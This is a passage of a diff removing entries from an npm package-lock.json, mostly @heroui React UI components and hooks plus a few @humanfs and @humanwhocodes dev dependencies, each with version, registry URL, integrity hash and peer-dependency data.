>=19.0.0-rc.0" - } - }, - "node_modules/@heroui/ripple": { - "version": "2.2.21", - "resolved": "https://registry.npmjs.org/@heroui/ripple/-/ripple-2.2.21.tgz", - "integrity": "sha512-wairSq9LnhbIqTCJmUlJAQURQ1wcRK/L8pjg2s3R/XnvZlPXHy4ZzfphiwIlTI21z/f6tH3arxv/g1uXd1RY0g==", - "license": "MIT", - "dependencies": { - "@heroui/dom-animation": "2.1.10", - "@heroui/shared-utils": "2.1.12" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.23", - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/scroll-shadow": { - "version": "2.3.19", - "resolved": "https://registry.npmjs.org/@heroui/scroll-shadow/-/scroll-shadow-2.3.19.tgz", - "integrity": "sha512-y5mdBlhiITVrFnQTDqEphYj7p5pHqoFSFtVuRRvl9wUec2lMxEpD85uMGsfL8OgQTKIAqGh2s6M360+VJm7ajQ==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-data-scroll-overflow": "2.2.13" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.23", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/select": { - "version": "2.4.33", - "resolved": "https://registry.npmjs.org/@heroui/select/-/select-2.4.33.tgz", - "integrity": "sha512-iWlczBmrHz2lIjyAneiiFtmgM+YWKLNIHL9dQnMghSAZWT9iCES5c3RuiggqE9k7DfPjHmgvVB24qeajnnXBOQ==", - "license": "MIT", - "dependencies": { - "@heroui/aria-utils": "2.2.29", - "@heroui/form": "2.1.32", - "@heroui/listbox": "2.3.31", - "@heroui/popover": "2.3.32", - "@heroui/react-utils": "2.1.14", - "@heroui/scroll-shadow": "2.3.19", - "@heroui/shared-icons": "2.1.10", - "@heroui/shared-utils": "2.1.12", - "@heroui/spinner": "2.2.29", - "@heroui/use-aria-button": "2.2.22", - "@heroui/use-aria-multiselect": "2.4.21", - "@heroui/use-form-reset": "2.0.1", - "@heroui/use-safe-layout-effect": "2.1.8", - "@react-aria/focus": "3.21.5", - "@react-aria/form": "3.1.5", - "@react-aria/interactions": "3.27.1", - "@react-aria/overlays": "3.31.2", - "@react-aria/visually-hidden": "3.8.31", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/shared-icons": { - "version": "2.1.10", - "resolved": "https://registry.npmjs.org/@heroui/shared-icons/-/shared-icons-2.1.10.tgz", - "integrity": "sha512-ePo60GjEpM0SEyZBGOeySsLueNDCqLsVL79Fq+5BphzlrBAcaKY7kUp74964ImtkXvknTxAWzuuTr3kCRqj6jg==", - "license": "MIT", - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/shared-utils": { - "version": "2.1.12", - "resolved": "https://registry.npmjs.org/@heroui/shared-utils/-/shared-utils-2.1.12.tgz", - "integrity": "sha512-0iCnxVAkIPtrHQo26Qa5g0UTqMTpugTbClNOrEPsrQuyRAq7Syux998cPwGlneTfB5E5xcU3LiEdA9GUyeK2cQ==", - "hasInstallScript": true, - "license": "MIT" - }, - "node_modules/@heroui/skeleton": { - "version": "2.2.18", - "resolved": "https://registry.npmjs.org/@heroui/skeleton/-/skeleton-2.2.18.tgz", - "integrity": "sha512-7AjU5kjk9rqrKP9mWQiAVj0dow4/vbK5/ejh4jqdb3DZm7bM2+DGzfnQPiS0c2eWR606CgOuuoImpwDS82HJtA==", - "license": "MIT", - "dependencies": { - "@heroui/shared-utils": "2.1.12" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.23", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/slider": { - "version": "2.4.29", - "resolved": "https://registry.npmjs.org/@heroui/slider/-/slider-2.4.29.tgz", - "integrity": "sha512-JY3uPIShCFLWTbLLYQJJIT5TyLQsyqJHPcM66FprDxwLkf/Ne03jvf+SeieCKAbq/iw+GygTIfwmbSPzrp/yhA==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/tooltip": "2.2.29", - "@react-aria/focus": "3.21.5", - "@react-aria/i18n": "3.12.16", - "@react-aria/interactions": "3.27.1", - "@react-aria/slider": "3.8.5", - "@react-aria/visually-hidden": "3.8.31", - "@react-stately/slider": "3.7.5" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/snippet": { - "version": "2.2.33", - "resolved": "https://registry.npmjs.org/@heroui/snippet/-/snippet-2.2.33.tgz", - "integrity": "sha512-BvoqKPRhdZyXvvPLxUoU0Fg5MzxMYdGWmJMS9gLT1Zv9A9ixua7kTFh9Z5NT9aNScRR9vhroaSQi1x39uCp+5g==", - "license": "MIT", - "dependencies": { - "@heroui/button": "2.2.32", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-icons": "2.1.10", - "@heroui/shared-utils": "2.1.12", - "@heroui/tooltip": "2.2.29", - "@heroui/use-clipboard": "2.1.9", - "@react-aria/focus": "3.21.5" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/spacer": { - "version": "2.2.25", - "resolved": "https://registry.npmjs.org/@heroui/spacer/-/spacer-2.2.25.tgz", - "integrity": "sha512-XSw54osEkNaBykZXhZcFmvwqwuSKCGPFOd2AIR+vrMqcJg0IxWjpGIsexaT3P/LV1PuoTYkTJ8G3N5Wf4pZTUw==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/system-rsc": "2.3.24" - }, - "peerDependencies": { - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/spinner": { - "version": "2.2.29", - "resolved": "https://registry.npmjs.org/@heroui/spinner/-/spinner-2.2.29.tgz", - "integrity": "sha512-08mWpL4+pdACcyzT5MjR0nSkKoWbab0oPzY+JHxIdPSSh3S8JJ7C8dUeV3Kj/15NRzzZlcTM3ClRCV8fdeGmuw==", - "license": "MIT", - "dependencies": { - "@heroui/shared-utils": "2.1.12", - "@heroui/system": "2.4.28", - "@heroui/system-rsc": "2.3.24" - }, - "peerDependencies": { - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/switch": { - "version": "2.2.27", - "resolved": "https://registry.npmjs.org/@heroui/switch/-/switch-2.2.27.tgz", - "integrity": "sha512-z23is+gtPkX29EpixY5ZLY1+NQaP+ueshuiXzdgD9SfCQLOSDYDWuFVdR8ZgfdDPyhP8xpOnJf6l9zfgXHD8Rw==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-safe-layout-effect": "2.1.8", - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1", - "@react-aria/switch": "3.7.11", - "@react-aria/visually-hidden": "3.8.31", - "@react-stately/toggle": "3.9.5" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/system": { - "version": "2.4.28", - "resolved": "https://registry.npmjs.org/@heroui/system/-/system-2.4.28.tgz", - "integrity": "sha512-agtiiMFsCLaBrGWWrGBlFrnwi06ym4uouh61c3/m16CHuYfGm0Hx5oJ1mZVF98SJ91mDyU3e6Rv+8mqV9XVgoQ==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/system-rsc": "2.3.24", - "@react-aria/i18n": "3.12.16", - "@react-aria/overlays": "3.31.2", - "@react-aria/utils": "3.33.1" - }, - "peerDependencies": { - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/system-rsc": { - "version": "2.3.24", - "resolved": "https://registry.npmjs.org/@heroui/system-rsc/-/system-rsc-2.3.24.tgz", - "integrity": "sha512-GEP3hh7j8wE56WdSAIdCcPQOMDdAYk9bSuQpGzXnkYSiSCJKroOyXbRmp9KF2VgpiMXGI0OlO51aj9JWoa+5Tg==", - "license": "MIT", - "dependencies": { - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/table": { - "version": "2.2.32", - "resolved": "https://registry.npmjs.org/@heroui/table/-/table-2.2.32.tgz", - "integrity": "sha512-cJ+XtBZOonSmkw7jrj0d9c8aIMdSGSZrBKS/1KZ7J9BTFPDW+ZoWwomgJHgZ31FQlr7dkYa7mZ2rf8LoGoOxRA==", - "license": "MIT", - "dependencies": { - "@heroui/checkbox": "2.3.32", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-icons": "2.1.10", - "@heroui/shared-utils": "2.1.12", - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1", - "@react-aria/table": "3.17.11", - "@react-aria/visually-hidden": "3.8.31", - "@react-stately/table": "3.15.4", - "@react-stately/virtualizer": "4.4.6", - "@react-types/grid": "3.3.8", - "@react-types/table": "3.13.6", - "@tanstack/react-virtual": "3.11.3" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/tabs": { - "version": "2.2.29", - "resolved": "https://registry.npmjs.org/@heroui/tabs/-/tabs-2.2.29.tgz", - "integrity": "sha512-TzCRXDqhdNsUxhO6sPdsbEt8m7KlkGwvJGvs4S/kHvJh1sKCItnnT0Z2FpZr6pLAqmHA6LO6Ow1phR5ACfNmug==", - "license": "MIT", - "dependencies": { - "@heroui/aria-utils": "2.2.29", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-is-mounted": "2.1.8", - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1", - "@react-aria/tabs": "3.11.1", - "@react-stately/tabs": "3.8.9", - "@react-types/shared": "3.33.1", - "scroll-into-view-if-needed": "3.0.10" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/theme": { - "version": "2.4.26", - "resolved": "https://registry.npmjs.org/@heroui/theme/-/theme-2.4.26.tgz", - "integrity": "sha512-TYatChq7YyGDcPJytgOMqQwK72qWYb+vIa7mLmX3Cu9+JzFs2VSHu2QqzdhnOHoK0uJr8giDMy0gvJEDuu31vw==", - "license": "MIT", - "dependencies": { - "@heroui/shared-utils": "2.1.12", - "color": "^4.2.3", - "color2k": "^2.0.3", - "deepmerge": "4.3.1", - "tailwind-merge": "3.4.0", - "tailwind-variants": "3.2.2" - }, - "peerDependencies": { - "tailwindcss": ">=4.0.0" - } - }, - "node_modules/@heroui/theme/node_modules/tailwind-merge": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-3.4.0.tgz", - "integrity": "sha512-uSaO4gnW+b3Y2aWoWfFpX62vn2sR3skfhbjsEnaBI81WD1wBLlHZe5sWf0AqjksNdYTbGBEd0UasQMT3SNV15g==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/dcastil" - } - }, - "node_modules/@heroui/toast": { - "version": "2.0.22", - "resolved": "https://registry.npmjs.org/@heroui/toast/-/toast-2.0.22.tgz", - "integrity": "sha512-eaayx0oJW0/imLyOhfjOdMx8FEKbWa8aKVvPNvXr3mXQbgzBEa+e147Xbh2CneG66we9C24JETE7QMLJ00popw==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/shared-icons": "2.1.10", - "@heroui/shared-utils": "2.1.12", - "@heroui/spinner": "2.2.29", - "@heroui/use-is-mobile": "2.2.12", - "@react-aria/interactions": "3.27.1", - "@react-aria/toast": "3.0.11", - "@react-stately/toast": "3.1.3" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/tooltip": { - "version": "2.2.29", - "resolved": "https://registry.npmjs.org/@heroui/tooltip/-/tooltip-2.2.29.tgz", - "integrity": "sha512-PsHVC9XwjmbZpdu7o8TWSHENiCHCsoQpzpFJ3GYgnUULIhH5k69L/+5jiON9qG6k7+tL4RZS6pQPSbxDCf1acQ==", - "license": "MIT", - "dependencies": { - "@heroui/aria-utils": "2.2.29", - "@heroui/dom-animation": "2.1.10", - "@heroui/framer-utils": "2.1.28", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@heroui/use-aria-overlay": "2.0.6", - "@heroui/use-safe-layout-effect": "2.1.8", - "@react-aria/overlays": "3.31.2", - "@react-aria/tooltip": "3.9.2", - "@react-stately/tooltip": "3.5.11", - "@react-types/overlays": "3.9.4", - "@react-types/tooltip": "3.5.2" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "framer-motion": ">=11.5.6 || >=12.0.0-alpha.1", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-aria-accordion": { - "version": "2.2.20", - "resolved": "https://registry.npmjs.org/@heroui/use-aria-accordion/-/use-aria-accordion-2.2.20.tgz", - "integrity": "sha512-HvZhfrsxpCab+m4TrbHWsnA8iLaYdq1G1pjFCswftDRzfioJLmkJ0FMtYDPi792akJO+TWEvPhJibcwVD0bbfg==", - "license": "MIT", - "dependencies": { - "@react-aria/button": "3.14.5", - "@react-aria/focus": "3.21.5", - "@react-aria/selection": "3.27.2", - "@react-stately/tree": "3.9.6", - "@react-types/accordion": "3.0.0-alpha.26", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-aria-button": { - "version": "2.2.22", - "resolved": "https://registry.npmjs.org/@heroui/use-aria-button/-/use-aria-button-2.2.22.tgz", - "integrity": "sha512-6Y+fWkf/LKKxw3cd9QCSdLVMrMgKv+0AGCzNCfDiZ5kzQGCX4JQD9eK/495opAHV90yhIWzolwdNwtsyhDploA==", - "license": "MIT", - "dependencies": { - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1", - "@react-aria/utils": "3.33.1", - "@react-types/button": "3.15.1", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-aria-link": { - "version": "2.2.23", - "resolved": "https://registry.npmjs.org/@heroui/use-aria-link/-/use-aria-link-2.2.23.tgz", - "integrity": "sha512-jpFj9HNCdt+DENPJyrfoN+AzuaMze9xqo5Y1P3KGoT/2pFDmelFgbXAOC5CHpatYFIn3YEELBGlj84zNXq2gjQ==", - "license": "MIT", - "dependencies": { - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1", - "@react-aria/utils": "3.33.1", - "@react-types/link": "3.6.7", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-aria-modal-overlay": { - "version": "2.2.21", - "resolved": "https://registry.npmjs.org/@heroui/use-aria-modal-overlay/-/use-aria-modal-overlay-2.2.21.tgz", - "integrity": "sha512-Qwj5ldLFpfinfGpYUQu92TCpGKzd9Uamhd31ayRvYl6+LwOX124N9ObRYBTXyEiNJ7XFYer3vXQVeaR84xM1Gg==", - "license": "MIT", - "dependencies": { - "@heroui/use-aria-overlay": "2.0.6", - "@react-aria/overlays": "3.31.2", - "@react-aria/utils": "3.33.1", - "@react-stately/overlays": "3.6.23" - }, - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-aria-multiselect": { - "version": "2.4.21", - "resolved": "https://registry.npmjs.org/@heroui/use-aria-multiselect/-/use-aria-multiselect-2.4.21.tgz", - "integrity": "sha512-f/7YkTfS67OMXXYCO9WTI0Fj9YGPOgdwMIqhaSnFdA2UywA3W71PPeEqpKeuvO6isBW53YOynAPMZXF1NcsuHw==", - "license": "MIT", - "dependencies": { - "@react-aria/i18n": "3.12.16", - "@react-aria/interactions": "3.27.1", - "@react-aria/label": "3.7.25", - "@react-aria/listbox": "3.15.3", - "@react-aria/menu": "3.21.0", - "@react-aria/selection": "3.27.2", - "@react-aria/utils": "3.33.1", - "@react-stately/form": "3.2.4", - "@react-stately/list": "3.13.4", - "@react-stately/menu": "3.9.11", - "@react-types/button": "3.15.1", - "@react-types/overlays": "3.9.4", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-aria-overlay": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/@heroui/use-aria-overlay/-/use-aria-overlay-2.0.6.tgz", - "integrity": "sha512-7q8oj5DZjr9oGYUB1UTOBnnuAapkBmfATCsdUeNOxQdYb2glJp52sTUslO+ykI9xVOAJSGYAmGuWgY5d+8mD6Q==", - "license": "MIT", - "dependencies": { - "@react-aria/focus": "3.21.5", - "@react-aria/interactions": "3.27.1", - "@react-aria/overlays": "3.31.2", - "@react-types/shared": "3.33.1" - }, - "peerDependencies": { - "react": ">=18", - "react-dom": ">=18" - } - }, - "node_modules/@heroui/use-callback-ref": { - "version": "2.1.8", - "resolved": "https://registry.npmjs.org/@heroui/use-callback-ref/-/use-callback-ref-2.1.8.tgz", - "integrity": "sha512-D1JDo9YyFAprYpLID97xxQvf86NvyWLay30BeVVZT9kWmar6O9MbCRc7ACi7Ngko60beonj6+amTWkTm7QuY/Q==", - "license": "MIT", - "dependencies": { - "@heroui/use-safe-layout-effect": "2.1.8" - }, - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-clipboard": { - "version": "2.1.9", - "resolved": "https://registry.npmjs.org/@heroui/use-clipboard/-/use-clipboard-2.1.9.tgz", - "integrity": "sha512-lkBq5RpXHiPvk1BXKJG8gMM0f7jRMIGnxAXDjAUzZyXKBuWLoM+XlaUWmZHtmkkjVFMX1L4vzA+vxi9rZbenEQ==", - "license": "MIT", - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-data-scroll-overflow": { - "version": "2.2.13", - "resolved": "https://registry.npmjs.org/@heroui/use-data-scroll-overflow/-/use-data-scroll-overflow-2.2.13.tgz", - "integrity": "sha512-zboLXO1pgYdzMUahDcVt5jf+l1jAQ/D9dFqr7AxWLfn6tn7/EgY0f6xIrgWDgJnM0U3hKxVeY13pAeB4AFTqTw==", - "license": "MIT", - "dependencies": { - "@heroui/shared-utils": "2.1.12" - }, - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-disclosure": { - "version": "2.2.19", - "resolved": "https://registry.npmjs.org/@heroui/use-disclosure/-/use-disclosure-2.2.19.tgz", - "integrity": "sha512-N3CBikg1cxik2xp1UQkPUBbKPGrvtdsRyAlOnGygliyr5wKpZHLZi0R/g8OxTZVk3zUSCl7HZJT13ddM5TqEvA==", - "license": "MIT", - "dependencies": { - "@heroui/use-callback-ref": "2.1.8", - "@react-aria/utils": "3.33.1", - "@react-stately/utils": "3.11.0" - }, - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-draggable": { - "version": "2.1.20", - "resolved": "https://registry.npmjs.org/@heroui/use-draggable/-/use-draggable-2.1.20.tgz", - "integrity": "sha512-yXn3jU3qiUx6aUd2osbDfddpnUTTh2wAVzpNyI+BXl2Z3rkVU9jqiJxZa+BXfsqFX17KrlrxwPPBmLNhSdBKHg==", - "license": "MIT", - "dependencies": { - "@react-aria/interactions": "3.27.1" - }, - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-form-reset": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/@heroui/use-form-reset/-/use-form-reset-2.0.1.tgz", - "integrity": "sha512-6slKWiLtVfgZnVeHVkM9eXgjwI07u0CUaLt2kQpfKPqTSTGfbHgCYJFduijtThhTdKBhdH6HCmzTcnbVlAxBXw==", - "license": "MIT", - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-image": { - "version": "2.1.14", - "resolved": "https://registry.npmjs.org/@heroui/use-image/-/use-image-2.1.14.tgz", - "integrity": "sha512-eCxtKOsM1tszBKYqz8qIJwGIxEAUC7ua+6L9vK8JgG6gOC0jEPFGH7keQuPVprzRtG3DmNt90icowqEjnOHdFQ==", - "license": "MIT", - "dependencies": { - "@heroui/react-utils": "2.1.14", - "@heroui/use-safe-layout-effect": "2.1.8" - }, - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-intersection-observer": { - "version": "2.2.14", - "resolved": "https://registry.npmjs.org/@heroui/use-intersection-observer/-/use-intersection-observer-2.2.14.tgz", - "integrity": "sha512-qYJeMk4cTsF+xIckRctazCgWQ4BVOpJu+bhhkB1NrN+MItx19Lcb7ksOqMdN5AiSf85HzDcAEPIQ9w9RBlt5sg==", - "license": "MIT", - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-is-mobile": { - "version": "2.2.12", - "resolved": "https://registry.npmjs.org/@heroui/use-is-mobile/-/use-is-mobile-2.2.12.tgz", - "integrity": "sha512-2UKa4v1xbvFwerWKoMTrg4q9ZfP9MVIVfCl1a7JuKQlXq3jcyV6z1as5bZ41pCsTOT+wUVOFnlr6rzzQwT9ZOA==", - "license": "MIT", - "dependencies": { - "@react-aria/ssr": "3.9.10" - }, - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-is-mounted": { - "version": "2.1.8", - "resolved": "https://registry.npmjs.org/@heroui/use-is-mounted/-/use-is-mounted-2.1.8.tgz", - "integrity": "sha512-DO/Th1vD4Uy8KGhd17oGlNA4wtdg91dzga+VMpmt94gSZe1WjsangFwoUBxF2uhlzwensCX9voye3kerP/lskg==", - "license": "MIT", - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-measure": { - "version": "2.1.8", - "resolved": "https://registry.npmjs.org/@heroui/use-measure/-/use-measure-2.1.8.tgz", - "integrity": "sha512-GjT9tIgluqYMZWfAX6+FFdRQBqyHeuqUMGzAXMTH9kBXHU0U5C5XU2c8WFORkNDoZIg1h13h1QdV+Vy4LE1dEA==", - "license": "MIT", - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-pagination": { - "version": "2.2.20", - "resolved": "https://registry.npmjs.org/@heroui/use-pagination/-/use-pagination-2.2.20.tgz", - "integrity": "sha512-+ZK+vJgLq7JKLJAnIwfbxe/oF1hANtIiCR6H++q7fOw9pxZZQsntmLEu4kvRhpGZRp5C5T10A1GKIK7/xz1ZdA==", - "license": "MIT", - "dependencies": { - "@heroui/shared-utils": "2.1.12", - "@react-aria/i18n": "3.12.16" - }, - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-resize": { - "version": "2.1.8", - "resolved": "https://registry.npmjs.org/@heroui/use-resize/-/use-resize-2.1.8.tgz", - "integrity": "sha512-htF3DND5GmrSiMGnzRbISeKcH+BqhQ/NcsP9sBTIl7ewvFaWiDhEDiUHdJxflmJGd/c5qZq2nYQM/uluaqIkKA==", - "license": "MIT", - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-safe-layout-effect": { - "version": "2.1.8", - "resolved": "https://registry.npmjs.org/@heroui/use-safe-layout-effect/-/use-safe-layout-effect-2.1.8.tgz", - "integrity": "sha512-wbnZxVWCYqk10XRMu0veSOiVsEnLcmGUmJiapqgaz0fF8XcpSScmqjTSoWjHIEWaHjQZ6xr+oscD761D6QJN+Q==", - "license": "MIT", - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-scroll-position": { - "version": "2.1.8", - "resolved": "https://registry.npmjs.org/@heroui/use-scroll-position/-/use-scroll-position-2.1.8.tgz", - "integrity": "sha512-NxanHKObxVfWaPpNRyBR8v7RfokxrzcHyTyQfbgQgAGYGHTMaOGkJGqF8kBzInc3zJi+F0zbX7Nb0QjUgsLNUQ==", - "license": "MIT", - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/use-viewport-size": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/@heroui/use-viewport-size/-/use-viewport-size-2.0.1.tgz", - "integrity": "sha512-blv8BEB/QdLePLWODPRzRS2eELJ2eyHbdOIADbL0KcfLzOUEg9EiuVk90hcSUDAFqYiJ3YZ5Z0up8sdPcR8Y7g==", - "license": "MIT", - "peerDependencies": { - "react": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@heroui/user": { - "version": "2.2.26", - "resolved": "https://registry.npmjs.org/@heroui/user/-/user-2.2.26.tgz", - "integrity": "sha512-3SESvOSYSVysSSwV1SR2QD8cOx6Fv/vVAXry/GmjLl9CSsA6HTlWoLy7TRtteGFqm3XRWVqjzCrcNGlvSmtdnQ==", - "license": "MIT", - "dependencies": { - "@heroui/avatar": "2.2.26", - "@heroui/react-utils": "2.1.14", - "@heroui/shared-utils": "2.1.12", - "@react-aria/focus": "3.21.5" - }, - "peerDependencies": { - "@heroui/system": ">=2.4.18", - "@heroui/theme": ">=2.4.24", - "react": ">=18 || >=19.0.0-rc.0", - "react-dom": ">=18 || >=19.0.0-rc.0" - } - }, - "node_modules/@humanfs/core": { - "version": "0.19.2", - "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.2.tgz", - "integrity": "sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@humanfs/types": "^0.15.0" - }, - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/@humanfs/node": { - "version": "0.16.8", - "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.8.tgz", - "integrity": "sha512-gE1eQNZ3R++kTzFUpdGlpmy8kDZD/MLyHqDwqjkVQI0JMdI1D51sy1H958PNXYkM2rAac7e5/CnIKZrHtPh3BQ==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@humanfs/core": "^0.19.2", - "@humanfs/types": "^0.15.0", - "@humanwhocodes/retry": "^0.4.0" - }, - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/@humanfs/types": { - "version": "0.15.0", - "resolved": "https://registry.npmjs.org/@humanfs/types/-/types-0.15.0.tgz", - "integrity": "sha512-ZZ1w0aoQkwuUuC7Yf+7sdeaNfqQiiLcSRbfI08oAxqLtpXQr9AIVX7Ay7HLDuiLYAaFPu8oBYNq/QIi9URHJ3Q==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/@humanwhocodes/module-importer": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", - "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=12.22" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/nzakas" - } - }, - "node_modules/@humanwhocodes/retry": { - "version": "0.4.3", - "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", - "integrity": 